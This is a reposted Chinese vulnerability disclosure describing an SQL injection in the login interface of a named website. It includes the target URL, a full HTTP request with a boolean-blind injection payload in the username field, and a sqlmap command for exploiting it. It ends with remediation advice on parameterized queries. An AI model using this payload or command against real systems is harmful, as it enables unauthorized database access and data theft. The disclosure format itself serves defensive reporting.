神刀安全网

漏洞标题: A5站长某站SQL注入

漏洞详情

披露状态:

2016-05-18: 细节已通知厂商并且等待厂商处理中
2016-05-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时,就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害,包括读取或者修改应用的数据,改变程序逻辑,提升权限和执行操作系统命令等。

详细说明:

1、漏洞触发页面以及对应功能:

http://web.admin5.com/w/user/index.php?g=user&m=login&a=index

登录接口。

2、漏洞复现具体流程,包含具体payload和完整的数据包:

code 区域
POST /w/user/index.php?a=dologin&g=user&m=login HTTP/1.1
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: web.admin5.com
Cookie: PHPSESSID=hfs9j1sd8b7tm6249jr14cv4m4; CNZZDATA1252907051=243523858-1463497425-http%253A%252F%252Fwww.acunetix-referrer.com%252F%7C1463497425
Host: web.admin5.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*

password=g00dPa%24%24w0rD&username=-1'%20OR%203*2*1%3d6%20AND%20000847%3d000847%20or%20'axslDyzU'%3d'

采用如下命令可以使用布尔盲注:username参数。

sqlmap直接跑的话可以检测出time类型的盲注:

sqlmap -r request/189.txt –random-agent –risk 3 –prefix="-1'" –suffix="%20AND%20000847%3d000847%20or%20'axslDyzU'%3d'" –technique=B –string="5bc6" –password

漏洞证明:

数据库相关信息证明,仅证明,未存储下载任何敏感信息.

root密码可以外联。目测应该是主站数据库。看了下表结构。

webadmin5 200多个表。

漏洞标题:  A5站长某站SQL注入

漏洞标题:  A5站长某站SQL注入

修复方案:

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: A5站长某站SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址